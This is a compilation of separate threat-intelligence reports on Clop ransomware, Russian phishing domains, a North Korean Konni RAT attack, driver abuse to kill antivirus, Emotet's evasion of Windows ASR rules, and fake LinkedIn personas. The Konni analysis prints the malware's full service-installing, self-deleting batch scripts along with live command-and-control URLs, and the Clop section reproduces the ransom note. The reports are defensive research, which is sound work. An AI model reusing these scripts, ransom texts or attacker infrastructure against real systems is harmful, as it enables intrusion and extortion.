A good security software solution that incorporates behavioral detections to combat ransomware and not just use signature detections or heuristics is important as well. For example, Emsisoft Anti-Malware and Malwarebytes Anti-Malware both contain behavioral detection that can prevent many, if not most, ransomware infections from encrypting a computer.
Last, but not least, make sure you practice the following security habits, which in many cases are the most important steps of all:
- Backup, Backup, Backup!
- Do not open attachments if you do not know who sent them.
- Do not open attachments until you confirm that the person actually sent you them.
- Scan attachments with tools like VirusTotal.
- Do not connect Remote Desktop Services directly to the Internet. Instead, make sure they can only be accessed by logging into a VPN first.
- Make sure all Windows updates are installed as soon as they come out! Also, make sure you update all programs, especially Java, Flash, and Adobe Reader. Older programs contain security vulnerabilities that are commonly exploited by malware distributors. Therefore it is important to keep them updated.
- Make sure you have some sort of security software installed that uses behavioral detections or whitelist technology. Whitelisting can be a pain to train, but if you're willing to stick with it, could have the biggest payoffs.
- Use hard passwords and never reuse the same password at multiple sites.
- BACKUP!
## Clop Ransomware Hashes
- 2ceeedd2f389c6118b4e0a02a535ebb142d81d35f38cab9a3099b915b5c274cb
- a867deb1578088d066941c40e598e4523ab5fd6c3327d3afb951073bee59fb02
## Filenames associated with the Clop Cryptomix Variant
- CIopReadMe.txt
## Clop Ransom Note Text
```
Your networks has been penetrated
All files on each host in the networks have been encrypted with a strong algorithm.
Backups were either encrypted or deleted or backup disks were formatted.
Shadow copies also removed, so F-8 or any other methods may damage encrypted data but not recover.
We exclusively have decryption software for your situation.
===No DECRYPTION software is AVAILABLE in the PUBLIC===
- DO NOT RENAME OR MOVE the encrypted and readme files.
========================DO NOT RESET OR SHUTDOWN – FILES MAY BE DAMAGED========================
---THIS MAY LEAD TO THE IMPOSSIBILITY OF RECOVERY OF THE CERTAIN FILES---
---ALL REPAIR TOOLS ARE USELESS AND CAN DESTROY YOUR FILES IRREVERSIBLY---
If you want to restore your files write to email.
[CONTACTS ARE AT THE BOTTOM OF THE SHEET] and attach 4-6 encrypted files!
[Less than 7 Mb each, non-archived and your files should not contain valuable information!!!]
***You will receive decrypted samples and our conditions how to get the decoder***
*^*ATTENTION*^*
=YOUR WARRANTY - DECRYPTED SAMPLES=
-=-DO NOT TRY TO DECRYPT YOUR DATA USING THIRD PARTY SOFTWARE-=-
-=-WE DONT NEED YOUR FILES AND YOUR INFORMATION-=-
CONTACTS E-MAILS:
[email protected]
AND
[email protected]
OR
[email protected]
_-_ATTENTION_-_
In the letter, type your company name and site!
***The final price depends on how fast you write to us***
^_*Nothing personal just business^_* CLOP^_-
```
## Emails Associated with the Clop Ransomware
- [email protected]
- [email protected]
- [email protected]
## Embedded Public key
```
-----BEGIN PUBLIC KEY-----
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n
2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho
/yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm
NmC3la0g54+CesAv1QIDAQAB
-----END PUBLIC KEY-----
```
## About the Author
Lawrence Abrams is the owner and Editor in Chief of BleepingComputer.com. Lawrence's area of expertise includes Windows, malware removal, and computer forensics. Lawrence Abrams is a co-author of the Winternals Defragmentation, Recovery, and Administration Field Guide and the technical editor for Rootkits for Dummies. |
# tr1adx Intelligence Bulletin (TIB) 00003: Bear Spotting Vol. 1: Russian Nation State Targeting of Government and Military Interests
**Published:** January 9, 2017
**Last Updated:** January 15, 2017
## Summary
The tr1adx team performs ongoing research into Threat Actors, irrespective of their motivation, provenance, or targets. tr1adx Intelligence Bulletin #00003 shares intel on Russian Nation State Cyber Activity targeting Government and Military interests around the world. Please note this is an active bulletin, meaning we will occasionally add intel and information to this bulletin as we uncover new campaigns, targets, or actors which meet the criteria.
tr1adx's research was able to identify targets in various countries and/or regions, including:
- Turkey
- Japan
- Denmark
- United States
- Venezuela
- India
- NATO Allied Targets
- United Nations
## Analysis
TTPs associated with Russian Nation State Threat Actors (Civil and Military Intelligence/GRU/APT28/APT29) allow us to track these Threat Actors' activities with a high/moderate degree of confidence and follow their trail of breadcrumbs through past, present, and future campaigns. While, for operational security reasons, we cannot go into detail on our techniques, practices, and sources for intelligence collection and analysis, we can say that the majority of the information published in this bulletin is based on in-depth research leveraging available Open Source Intelligence (OSINT) sources. In a few cases, intel data has been enriched by, derived from, and collected through other non-OSINT means.
## Indicators of Compromise
**Added on 2017-01-15:**
| Domain | Creation Date | Campaign Status | Targeted Org | Targeted Country | Targeted Domain | Analyst Notes |
|--------------------------|---------------|------------------|----------------------------|------------------|------------------|----------------|
| dpko[.]info | 2016-10-29 | Unknown | United Nations (UN) | United States | un.org | UN DPKO website. Identified phishing originating from this domain targeting the Venezuelan government (minpal.gob.ve). |
| unausanyc[.]com | 2015-12-02 | Unknown | Association of New York | United States | unanyc.org | ESET identified similar indicator in their APT28/Sednit report. |
| ausa[.]info | 2015-07-19 | Inactive | Association of the United States Army | United States | ausa.org | N/A |
| mea-gov[.]in | 2015-02-20 | Inactive | Ministry of External Affairs (MEA) | India | mea.gov.in | N/A |
| mfa-news[.]com | 2015-04-30 | Inactive | Ministry of Foreign Affairs (MFA) | N/A | N/A | Fake news site. |
| defenceinform[.]com | 2015-05-05 | Inactive | MDefense Related Fake news site | N/A | N/A | N/A |
| middle-eastreview[.]com | 2015-04-15 | Inactive | Review of International Affairs (MERIA) | United States | rubincenter.org | N/A |
| foreign-review[.]com | 2015-04-14 | Inactive | Affairs Fake news site | N/A | N/A | N/A |
**Added on 2017-01-09:**
| Domain | Creation Date | Campaign Status | Targeted Org | Targeted Country | Targeted Domain | Analyst Notes |
|--------------------------|---------------|------------------|----------------------------|------------------|------------------|----------------|
| afceaint[.]org | 2016-11-02 | Inactive | Armed Forces Communications and Electronics Association | United States | afcea.org | Identified 2 related indicators, one of which ties in to another campaign: ns1[.]afceaint[.]org (216.155.143.28), ns2[.]afceaint[.]org (216.155.143.27). |
| af-army[.]us | 2016-10-17 | Active | Army / Air Force | United States | army.mil / af.mil | The af-army[.]us domain was seen resolving to 167.114.35.70, which is listed as one of the IP addresses in the GRIZZLY STEPPE report. Domain was hosted on 216.155.143.27, also seen in AFCEA campaign. |
| webmail-mil[.]dk | 2015-03-25 | Inactive | Defence Command | Denmark | webmail.mil.dk | Seriously? We know it's been 2 years and the Denmark Defense campaign may not have been publicized but come on guys... #BadOpsec! |
| nato-nevvs[.]org | 2016-10-05 | Unknown | North Atlantic Treaty Organization (NATO) Allies | N/A | N/A | N/A |
| jimin-jp[.]biz | 2016-12-27 | Active | Democratic Party of Japan | Japan | jimin.jp | Per our Japanese Gov't sources, domain has been observed in targeted malware. |
| jica-go-jp[.]biz | 2016-12-27 | Active | International Cooperation Agency | Japan | jica.go.jp | Per our Japanese Gov't sources, domain has been observed in targeted malware. |
| mofa-go-jp[.]com | 2016-12-27 | Active | Ministry of Foreign Affairs | Japan | mofa.go.jp | Per our Japanese Gov't sources, domain has been observed in targeted malware. |
| turkey-mia[.]com | 2016-12-20 | Active | Ministry of Interior Ankara | Turkey | mia.gov.tr | Spoofed domain points to legitimate MIA domain: icisleri.gov.tr. |
| turkey-icisleri[.]com | 2016-12-20 | Active | Ministry of Interior Ankara | Turkey | icisleri.gov.tr | Spoofed domain points to legitimate MIA domain: icisleri.gov.tr. |
(*) Legitimate organization appears to have claimed control over the spoofed/mimicked domain.
## Indicators of Compromise (IOCs)
If a log search for any of these Indicators of Compromise returns positive hits, we recommend you initiate appropriate cyber investigative processes immediately and engage Law Enforcement where appropriate. |
# NORTH KOREAN GROUP “KONNI” TARGETS THE RUSSIAN DIPLOMATIC SECTOR WITH NEW VERSIONS OF MALWARE IMPLANTS
## EXECUTIVE SUMMARY
Cluster25 analyzed a recent attack linked to the North Korean APT group “Konni” targeting the Russian diplomatic sector using a spear phishing theme for New Year's Eve festivities as lure. Once the malicious email attachment is opened and executed, a chain composed of multiple stages is triggered, allowing the actor to install an implant belonging to the Konni RAT family as the final payload.
## 01 KILLCHAIN OVERVIEW
The following diagram shows the overall phases used by the actor to infect the target. The malicious activity starts from an email containing a malicious zip file, which once decompressed drops a malicious downloader able to activate a complex chain of actions finalized to deploy Konni RAT malware, named scrnsvc.dll, as a Windows service.
## 02 INITIAL ACCESS
C25 has traced an activity that started at least from August 2021 aimed at Russian targets operating in the diplomatic sector. On December 20th, emails crafted to infect the Russian embassy located in Indonesia have been detected; these emails used the New Year Eve 2022 festivity as a decoy theme. Contrary to its past actions, the North Korean APT group this time did not use malicious documents as attachments; instead, they attached a .zip file named “поздравление.zip”, which means “congratulation” in Russian, containing an embedded executable representing the first stage of the infection. The emails were spoofed using a *@mid.ru account as a sender to pretend that it was sent from the Russian Embassy in Serbia.
## 03 DOWNLOADER ANALYSIS
The artifact found and extracted from the zip is a Windows x32 executable, named “поздравление.scr” and compiled on Mon Dec 20 09:16:02 2021. From the recent compilation date, it seems to have been developed specifically for the attack under analysis, and it can be identified by the following hash:
**SHA256**
cdfc101b18b9b3f9e418fbb9a6b7d2750d5918c61ed3899ca4ecd7ede5022ac5
The sample has the behavior of a trojan malware, and it is intended to resemble the legitimate scrnsave.scr Windows application. When executed, it drops under the %TEMP% directory an image named Happy.jpg (which is embedded in the resource section) and opens it as a foreground window to trick the victim into believing that it is a legitimate Russian themed happy holidays screensaver. Subsequently, in the background, the malware starts its malicious activities by downloading the next stage payload from an HTTP GET request to the Command-and-Control domain i758769.atwebpages.com, passing as parameters the hardcoded user id numbered as 18756 and a type used as a flag to specify if the infected machine was 32 or 64 bit. The Command-and-Control Apache webserver response was configured to respond with HTTP status code 401, having the attacker set a fake .htaccess (likely to ensure it went unnoticed at security checks), returning as a response, in any case, a compressed CAB file encoded in base64.
After the CAB downloading, the malware starts the file decompression using expand.exe process logging a file named a.log when the decompression is finished. To optimize the time wasted during CAB decompression, the malware writes and executes the following BAT file into the %TEMP% directory, which was contained in the data section encoded in base64:
```
@ECHO OFF
CD /D %TEMP%
: WAITING
TIMEOUT /T 1
IF NOT EXIST "A.LOG" (GOTO WAITING)
DEL /F /Q "A.LOG"
INSTALL.BAT
DEL /F /Q "%~DPNX0"
```
The script’s scope is to wait for the decompression to finish by using the creation of a.log file as a flag and automatically execute the content of the CAB extraction, which is the install.bat file (one of the files contained into the CAB), and finally delete itself using "%~DPNX0”, a bat script convention used to specify the BAT file itself. As previously described, the CAB file’s decompressed content contains the following files:
- Install.bat
- scrnsvc.ini
- scrnsvc.dll
The Install.bat file is the launcher of the next stage infection, which hides the tracks of the previous activities by moving all the files into the System32 directory and installing and starting the final implant scrnsvc.dll as a Windows service named ScreenSaver Management Service, which, when registered, loads the configuration file scrnvsvc.ini. The Windows service is installed by configuring svchost.exe as a process container of the DLL executable representing Konni RAT malware. Install.bat has already been seen among the TTPs belonging to this threat actor, which content is visible below, where, in this case, it appears to have been slightly modified, and therefore more likely to deceive detection signatures referring to files used in previous intrusions.
```
@echo off
set DSP_NAME="ScreenSaver Management Service"
sc stop scrnsvc > nul
echo %~dp0 | findstr /i "system32" > nul
if %ERRORLEVEL% equ 0 (goto INSTALL) else (goto COPYFILE)
: COPYFILE
copy /y "%~dp0\scrnsvc.dll" "%windir%\System32" > nul
del /f /q "%~dp0\scrnsvc.dll" > nul
copy /y "%~dp0\scrnsvc.ini" "%windir%\System32" > nul
del /f /q "%~dp0\scrnsvc.ini" > nul
del /f /q "%windir%\System32\scrnsvc.dat" > nul
: INSTALL
sc create scrnsvc binpath= "%windir%\System32\svchost.exe -k scrnsvc" DisplayName= %DSP_NAME% > nul
sc description scrnsvc %DSP_NAME% > nul
sc config scrnsvc type= interact type= own start= auto error= normal binpath= "%windir%\System32\svchost.exe -k scrnsvc" > nul
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SvcHost" /v scrnsvc /t REG_MULTI_SZ /d "scrnsvc" /f > nul
reg add "HKLM\SYSTEM\CurrentControlSet\Services\scrnsvc\Parameters" /v ServiceDll /t REG_EXPAND_SZ /d "%windir%\System32\scrnsvc.dll" /f > nul
sc start scrnsvc > nul
del /f /q "%~dp0\wpnprv.dll" > nul
del /f /q "%~dp0\*.bat" > nul
del /f /q "%~dpnx0" > nul
```
## 04 KONNI RAT ANALYSIS
The following Konni Rat version is a x64 DLL executable, which has as compile timestamp Mon Dec 20 09:02:38 2021 - UTC, same date of the downloader, and where the payload is contained in its export function ServiceMain and is directly invoked when registered as a Windows service. Cluster25 retrieved two different samples of the same Konni version identified by the following hashes:
**SHA256**
cdfc101b18b9b3f9e418fbb9a6b7d2750d5918c61ed3899ca4ecd7ede5022ac5
8f7037aaf27bb58a15f946bd3a30cb468078a7ee9addcc4ba89440b2114e4c83
Once registered as a service, the malware starts solving in runtime all the WinAPIs needed to interface with the infected operating system's file system and to communicate with the control and monitoring server. The exported functions loaded belong to the following libraries:
- kernel32.dll
- advapi32.dll
- urlmon.dll
- wininet.dll
- shell32.dll
It then creates a pointer memory structure used to store the configuration used by the malware during execution, which contains information such as the name of the computer, the time of seconds to remain asleep, the domain used to communicate with the adversary command and control, and all the information collected during the future enumeration. The configuration structure is then passed as an argument at a new thread created which is used as the main routine by the malware to perform the network communications and exfiltration. The thread starts verifying if there is an Internet connection available, remaining in sleep if not, then adds the value 65001 into the Registry key in Console Codepage, to make Unicode character set in cmd.exe by default, and collects data:
- Enumerated cached website via FindFirstUrlCacheEntryW and FindNextUrlCacheEntryW
- Enumerated operating system information using cmd /c systeminfo
- Enumerated processes using cmd /c tasklist.exe
Once the enumeration has been completed, it stores all the info into temporary files which will then be converted into a CAB file using cmd /c makecab and furtherly encrypted and sent to the attacker server via HTTP POST request body to hxxp://455686[.]c1[.]biz/up[.]php?name=%COMPUTER-NAME%, passing the operating system computer name as a parameter. If the server response does not contain the string “success!”, the malware tries to resend the request, or it starts to send HTTP GET loop requests to receive commands from the server located at hxxp://455686[.]c1[.]biz/dn.php?name=%COMPUTERNAME%&prefix=tt. The commands received are parsed from the response and, if containing the character “>” are executed via CreateProcessAsUserW obtaining the Token belonging to svchost.exe process (likely to avoid exceptions during output redirection of the file writing, being the sample located in System32 folder), otherwise using the CreateProcessW function.
At the time of the analysis, the server was up but it did not provide the commands to be executed, probably because the actor set up the Command and Control backend with some form of geofencing validation.
## 05 ATTRIBUTION
Cluster25 attributes these intrusion attempts with high degree of confidence to the North Korean group known as Konni. Konni is also the name of their custom RAT which presents intelligence gathering features. In this case, the final implant is a new version of Konni RAT having code and behavioral similarities with its previous versions. The reported kill-chain shows overlaps with the TTPs already linked to this group as the use of CAB files as infection stage and the use of bat file to automatically install Konni RAT as a service. Identifiable modifications are evident in the pattern used for the initial access phase, most likely put in place to exploit the holiday time of year as bait.
Finally, it is possible to notice the use of "ZETTA HOSTING SOLUTIONS LLC" (AS44476) as hosting provider and the use of free hosting sites like c1.biz and atwebpages.com for the Command and Controls hostnames. Specifically, atwebpages.com appears to be commonly observable in intrusions relating to threat actors belonging to the Kimsuki umbrella.
## 06 ATT&CK MATRIX
| TACTIC | TECHNIQUE | NAME |
|-------------------|------------------------------------------------|-------------------------------------------|
| Initial Access | T1566 Phishing | |
| Execution | T1059 Command and Scripting Interpreter | |
| | T1204 User Execution | |
| | T1569 System Services | |
| Persistence | T1543 Create or Modify System Process | |
| Privilege Escalation| T1134 Access Token Manipulation | |
| Defense Evasion | T1140 Deobfuscate/Decode Files or Information | |
| | T1082 System Information Discovery | |
| Discovery | T1057 Process discovery | |
| | T1033 System Owner/User Discovery | |
| | T1560 Archive Collected Data | |
| Collection | T1113 Screen Capture | |
| | T1119 Automated Collection | |
| | T1071 Application Layer Protocol | |
| Command and Control| T1132 Data encoding | |
| Exfiltration | T1020 Automated Exfiltration | |
| | T1041 Exfiltration Over C2 Channel | |
## 07 INDICATORS OF COMPROMISE
| CATEGORY | TYPE | VALUE |
|-----------------------|------------|-------------------------------------------------------------------------------------------|
| PAYLOAD-DELIVERY | SHA256 | 53b687202e69dd8d5e2e841036c96a12b93971c9ff99ca54c109c491e7ad8eba |
| PAYLOAD-DELIVERY | SHA1 | 189fdac8fd88d61ba9cbd4f7d27561a6f60a9666 |
| PAYLOAD-DELIVERY | MD5 | ad152ab451527cf2baa96304c6ecd383 |
| PAYLOAD-DELIVERY | SHA256 | 72185f9dbf66d0e5dc0e1873934c183bc120708085c0de8a0e2a748f10f77de8 |
| PAYLOAD-DELIVERY | SHA1 | b433cc324a785e1d0291c961e2816e91a9549057 |
| PAYLOAD-DELIVERY | MD5 | 3462e40caeec0fa52bd3c04ad8cbc9d3 |
| PAYLOAD-DELIVERY | SHA256 | 451b9d4144555fcc791231db73ef3bfdb6ffddeb655e07a457108766f0e6ad39 |
| PAYLOAD-DELIVERY | SHA1 | fb7d9bc8309f589e39e091ef5a7b08260596ffcd |
| PAYLOAD-DELIVERY | MD5 | 8ec9a6ff22c497375b53344cafeb2292 |
| PAYLOAD-DELIVERY | SHA256 | 4ca8ac99b2416d8fae67a8b18a58c8d267b7e2b72af1ee0369f2470a030af8c7 |
| PAYLOAD-DELIVERY | SHA1 | 6883e1c2c1f3656cb756264fde77f88ebcde541c |
| PAYLOAD-DELIVERY | MD5 | 446ea8033ae343971312745c79fced2e |
| PAYLOAD-DELIVERY | SHA256 | b6845a436df2b3a79dd1b0e4a57a06c60f718eee0272a3eb81183ee4750037b9 |
| PAYLOAD-DELIVERY | SHA1 | 191604259def68250272919214aea109503200fe |
| PAYLOAD-DELIVERY | MD5 | 8269e1b2afaa832e7900640ebfe44bb4 |
| PAYLOAD-DELIVERY | SHA256 | 24f5fb91ca41e4a191a44629f064fa14c4063b7cda68ebc2b7afb7e68a9d3cdd |
| PAYLOAD-DELIVERY | SHA1 | f08c033d1a9f2f75a17cbcb71e3041263d2d3e61 |
| PAYLOAD-DELIVERY | MD5 | 58560f053a099104b0f8ac1c9fed2903 |
| PAYLOAD-DELIVERY | SHA256 | a3cd08afd7317d1619fba83c109f268b4b60429b4eb7c97fc274f92ff4fe17a2 |
| PAYLOAD-DELIVERY | SHA1 | c1d312762d598831d431b08e47075047582856aa |
| PAYLOAD-DELIVERY | MD5 | 57a22e74ba27b034613b0c6ac54a10d5 |
| PAYLOAD-DELIVERY | SHA256 | 8f7037aaf27bb58a15f946bd3a30cb468078a7ee9addcc4ba89440b2114e4c83 |
| PAYLOAD-DELIVERY | SHA1 | fc54cefe956ed5360418c0165cf2a687bbeb62fc |
| PAYLOAD-DELIVERY | MD5 | 954fe31816f2f7f095244573de8f9086 |
| CNC HOSTNAME | | i758769.atwebpages.com |
| CNC HOSTNAME | | 455686.c1.biz |
| CNC HOSTNAME | | h378576.atwebpages.com |
| DROP-POINT URL | | http://i758769.atwebpages.com/index.php?user_id=18756&type=1 |
| CNC URL | | http://455686.c1.biz/dn.php?name=HOME-DESK&prefix=tt |
| CNC URL | | http://h378576.atwebpages.com/dn.php?name=HOME-DESK&prefix=tt |
## ABOUT CLUSTER25
Cluster25 is the internal Cyber Intelligence Research and Adversary Hunting Unit at DuskRise Inc. Cluster25 experts are specialized in hunting and collecting cyber threats, analysis, reverse-engineering, and adversary hunting practices. Cluster25 independently designs and develops technologies aimed at the classification and categorization of malicious artifacts as well as for their correlation with known threat groups. Relying on extensive visibility into the digital threat landscape, it overcomes the usual limitations of services based on ex-post threat observation by providing real predictive and proactive intelligence services. |
# Ransomware Actor Abuses Genshin Impact Anti-Cheat Driver to Kill Antivirus
## Ransomware
We investigate `mhyprot2.sys`, a vulnerable anti-cheat driver for the popular role-playing game Genshin Impact. The driver is currently being abused by a ransomware actor to kill antivirus processes and services for mass-deploying ransomware.
### What We Found
During the last week of July 2022, a ransomware infection was triggered in a user environment that had endpoint protection properly configured. Analyzing the sequence, we found that a code-signed driver called `mhyprot2.sys`, which provides the anti-cheat functions for Genshin Impact, was being abused to bypass privileges. As a result, commands from kernel mode killed the endpoint protection processes.
As of this writing, the code signing for `mhyprot2.sys` is still valid. Genshin Impact does not need to be installed on a victim’s device for this to work; the use of this driver is independent of the game.
This ransomware was simply the first instance of malicious activity we noted. The threat actor aimed to deploy ransomware within the victim’s device and then spread the infection. Since `mhyprot2.sys` can be integrated into any malware, we are continuing investigations to determine the scope of the driver.
Organizations and security teams should be careful because of several factors: the ease of obtaining the `mhyprot2.sys` module, the versatility of the driver in terms of bypassing privileges, and the existence of well-made proofs of concept (PoCs). All these factors mean that the usage of this driver is likely higher than those of previously discovered rootkits.
### Timeline of Activities
The earliest evidence of compromise was a secretsdump from an unidentified endpoint of the targeted organization to one of the domain controllers. It was followed by the execution of discovery commands using `wmiexec` in the context of the built-in domain administrator account. Both `secretsdump` and `wmiexec` are tools from Impacket, a free collection of Python classes for working with network protocols.
Shortly afterward, the threat actor connected to the domain controller via RDP using another compromised administrator account. From there, everything was executed in the context of that user account.
A malicious file, `kill_svc.exe` and `mhyprot2.sys`, were transferred to the desktop. This was the first time that the vulnerable driver was seen. The file `kill_svc.exe` installed the `mhyprot2` service and killed antivirus services.
Another malicious file, `avg.msi`, was transferred to the netlogon share `\\{domaincontroller}\NETLOGON\avg.msi`. This Windows installer contains `avg.exe`, a malicious file masquerading as AVG Internet Security, and is responsible for dropping and executing the following:
- `logon.bat` – A batch file that executes `HelpPane.exe`, kills antivirus and other services, and executes `svchost.exe`.
- `HelpPane.exe` – A malicious file masquerading as Microsoft Help and Support executable; similar to `kill_svc.exe`, it installs `mhyprot2.sys` and kills antivirus services.
- `mhyprot2.sys` – A vulnerable Genshin Impact anti-cheat driver.
- `svchost.exe` – The ransomware payload.
This also shows that the threat actor intended to mass-deploy the ransomware using the domain controller via startup/logon script.
The Windows installer `avg.msi` hosted on the netlogon share was deployed to one workstation endpoint via Group Policy Object (GPO). We suspect that this was to test whether deployment via GPO would be successful, but this case resulted in a failure.
Afterward, the threat actor logged in to the workstation from the unidentified endpoint. Both Logon Type 3 (Network Logon) and Logon Type 10 (RemoteInteractive) were observed. The Windows installer `avg.msi` was manually installed three times, which also resulted in a failure — no encryption. However, it was successful in killing the antivirus services.
The file `avg.exe`, extracted from `avg.msi`, was also transferred to the desktop and executed three times. However, in our analysis, we found that this step also did not work even though the antivirus was no longer working. Apparently, using the .msi or .exe file resulted in the applications being stuck.
In an attempt to make things work, the threat actor transferred `logon.bat` to the desktop and executed it manually. The file `logon.bat`, supposedly dropped and executed by `avg.exe`, was used as a standalone.
Surprisingly, executing `logon.bat` worked and the ransomware `svchost.exe` began dropping ransom notes and encrypting files. Knowing this, the threat actor hosted three files necessary for mass deployment on a shared folder named “lol”: `mhyprot2.sys`, `kill_svc.exe`, and `svchost.exe`.
A batch file named `b.bat`, responsible for copying and executing the files mentioned above, was deployed via PsExec using the credentials of the built-in domain administrator account. It listed target workstations in the file `ip.txt`.
### A Closer Look at mhyprot2.sys
The driver `mhyprot2.sys` is loaded by `kill_svc.exe/HelpPane.exe` using the `NtOpenFile` function. After loading `mhyprot2.sys`, `kill_svc.exe/HelpPane.exe` checks a list of processes to be terminated. Afterward, it passes this information to the driver using the `DeviceIoControl` function. The control code `0x81034000` is sent to the driver, instructing it to terminate the processes in the list.
The `mhyprot2.sys` driver that was found in this sequence was the one built in August 2020. Going back to social media streams, we can see that shortly after Genshin Impact was released in September 2020, this module was discussed in the gaming community because it was not removed even after the game was uninstalled and because it allowed bypassing of privileges.
A PoC, provided by user kagurazakasanae, showed that a library terminated 360 Total Security. A more comprehensive PoC, provided by Kento Oki, had the following capabilities:
- Read/Write any kernel memory with privilege of kernel from user mode.
- Read/Write any user memory with privilege of kernel from user mode.
- Enumerate a number of modules by specific process id.
- Get system uptime.
- Enumerate threads in a specific process, allowing reading of the PETHREAD structure in the kernel directly from the command-line interface (CLI).
- Terminate a specific process by process id with `ZwTerminateProcess`, which calls in the vulnerable driver context (ring-0).
The issue was also reported by Kento Oki to miHoYo, the developer of Genshin Impact, as a vulnerability. Kento Oki’s PoC led to more discussions, but the provider did not acknowledge the issue as a vulnerability and did not provide a fix. Of course, the code-signing certificate is still valid and has not been revoked until now.
### Complications of Code Signing as a Device Driver
It is still rare to find a module with code signing as a device driver that can be abused. The point of this case is that a legitimate device driver module with valid code signing has the capability to bypass privileges from user mode to kernel mode. Even if a vendor acknowledges a privilege bypass as a vulnerability and provides a fix, the module cannot be erased once distributed. This file has a code signature for the driver, which allows this module to be loaded in kernel mode. If the signature was signed for a malicious module through private key theft, the certificate can be revoked to invalidate the signature. However, in this case, it is an abuse of a legitimate module. It seems that there is no compromise of the private key, so it is still not known if the certificate will be revoked. It remains valid, at least for now.
As mentioned above, this module is very easy to obtain and will be available to everyone until it is erased from existence. It could remain for a long time as a useful utility for bypassing privileges. Certificate revocation and antivirus detection might help to discourage the abuse, but there are no solutions at this time because it is a legitimate module.
### How to Counter Abuse: Monitoring and Detection
There are only a limited number of driver files with valid signatures that are expected to have behavior comparable to the privilege bypassing we report here. We recommend that security teams and network defenders monitor the presence of the hash values within their organizations. We have confirmed that privilege bypassing is possible in at least this file:
- `mhyprot2.sys (0466e90bf0e83b776ca8716e01d35a8a2e5f96d3)`
In addition, we recommend monitoring Windows event logs for the installation of the service corresponding to the driver. If the installation of the service was not intended, compromise is strongly suspected:
- Windows Event Log (System) – 7045: A new service was installed in the system. Service name: `mhyprot2`.
### Recommendations and Solutions
Ransomware operators are continuously looking for ways to covertly deploy their malware onto users’ devices. Using popular games or other sources of entertainment is an effective way of baiting victims into downloading dangerous files. It is important for enterprises and organizations to monitor what software is being deployed onto their machines or have the proper solutions in place that can prevent an infection from happening.
Users and organizations can also benefit from security solutions that offer multilayered detection and response, which has multilayered protection and behavior detection capabilities that help block suspicious behavior and tools before ransomware can do any damage. |
# Emotet vs. Windows Attack Surface Reduction
**Published:** 2021-01-28
**Last Updated:** 2021-01-28 00:02:31 UTC
**by Daniel Wesemann (Version: 1)**
Emotet malware in the form of malicious Word documents continued to make the rounds over the past weeks, and the samples initially often had pretty poor anti-virus coverage. The encoding used by the maldoc is very similar to what Didier Stevens analyzed in his recent diary, and the same method can be used to extract the mal-code from the current Emotet docs.
With the de-obfuscation reasonably straightforward, I proceeded to look into how the malware crooks accomplish execution from within the Word doc, and in particular, why Microsoft's "Attack Surface Reduction Rules" do not seem to help much.
But first, let's take a quick detour into what Attack Surface Reduction (ASR) promises to do on modern Windows devices. ASR is a somewhat clunky set of additional protections in Microsoft Defender Antivirus that can be turned on to log or intercept (block) some common attack scenarios. Microsoft's website offers meager documentation, including a marginally helpful list of GUIDs that can be used to activate the feature.
One rule, "Block all Office Applications from creating child processes" (GUID D4F940AB-401B-4EFC-AADC-AD5F3C50688A), is supposed to prevent a Word document from launching any other task. Therefore, when this rule is configured, we would expect that the current Emotet and its execution chain of Word-Doc -> cmd.exe -> Powershell should not be successful. But it is.
Closer inspection of the Defender Event Log gives a hint "why": The only ASR rule that we see firing when the Emotet Doc is being opened is the one with ID d1e49aac-8f56-4280-b9ba-993a6d77406c, corresponding to "Block process creations originating from PSExec and WMI commands". Yes, the Emotet VBA Macro is using a WMI (Windows Management Instrumentation) call to launch the subsequent attack code. For such WMI invocation via the Win32 Process class, the parent process of "cmd" ends up being WmiPrvSe.exe, which in turn is launched from "svchost". Therefore, "cmd" is not a child process of Word, and the ASR block rule to prevent child processes of Word consequently doesn’t trigger. Bah!
In corporate environments, remote management of user devices often uses tools like SCCM or Endpoint Manager, which in turn rely on WMI to function. Therefore, setting the ASR Rule for WMI/PSExec to "block" will likely break device management and cause a huge mess. Chances are, the Emotet crooks were fully aware of this, and that's exactly why they chose this particular execution method for their attack code.
If you have Microsoft ATP, you can also use a hunting rule like this to search for WMI process creation:
```
DeviceEvents
| where ActionType == "ProcessCreatedUsingWmiQuery"
| project Timestamp, DeviceName, ActionType, FileName, SHA1, FolderPath, InitiatingProcessCommandLine, ProcessCommandLine
| sort by Timestamp desc
```
You might have to add a couple of exclusions to cover your management instrumentation or software distribution tools, but with a bit of tuning, you should see any current Emotet-like WMI attempts in your environment. The ProcessCommandLine in these cases will be long (>600 chars) and contain Base64 encoded Powershell, and the InitiatingProcess is Winword.
In the meantime, the probably best bet to protect your Windows users against Emotet and similar malware remains to quarantine password protected zips or Office documents with macros on your email gateway, or to disable macros within Office outright if you can get away with it.
Maybe, in a decade or three, Microsoft will get to the point where malware introduced via Office documents really no longer is a concern and prevalent problem. Until then, I guess we have to kinda hope that today's international raid by law enforcement against the Emotet gang really got the right guys, and got them good.
**Keywords:** Emotet, WMI, Word |
# Hacker Group Creates Network of Fake LinkedIn Profiles
**Summary**
While tracking a suspected Iran-based threat group known as Threat Group-2889 (TG-2889), Dell SecureWorks Counter Threat Unit™ (CTU) researchers uncovered a network of fake LinkedIn profiles. These convincing profiles form a self-referenced network of seemingly established LinkedIn users. CTU researchers assess with high confidence the purpose of this network is to target potential victims through social engineering. Most of the legitimate LinkedIn accounts associated with the fake accounts belong to individuals in the Middle East, and CTU researchers assess with medium confidence that these individuals are likely targets of TG-2889.
## Fake LinkedIn accounts
The 25 fake LinkedIn accounts identified by CTU researchers fall into two categories: fully developed personas (Leader) and supporting personas (Supporter). The level of detail in the profiles suggests that the threat actors invested substantial time and effort into creating and maintaining these personas. The photos used in the fake accounts are likely of innocent individuals who have no connection to TG-2889 activity.
### Leader personas
Profiles for Leader personas include full educational history, current and previous job descriptions, and sometimes vocational qualifications and LinkedIn group memberships. Of the eight Leader personas identified by CTU researchers, six have more than 500 connections.
The results of open-source research conducted by CTU researchers provided compelling evidence that the Leader profiles were fraudulent:
- One of the profile photographs is linked to multiple identities across numerous websites, including adult sites.
- The summary section in one profile is identical to the summary in a legitimate LinkedIn profile, and the employment history matches a sample résumé downloaded from a recruitment website.
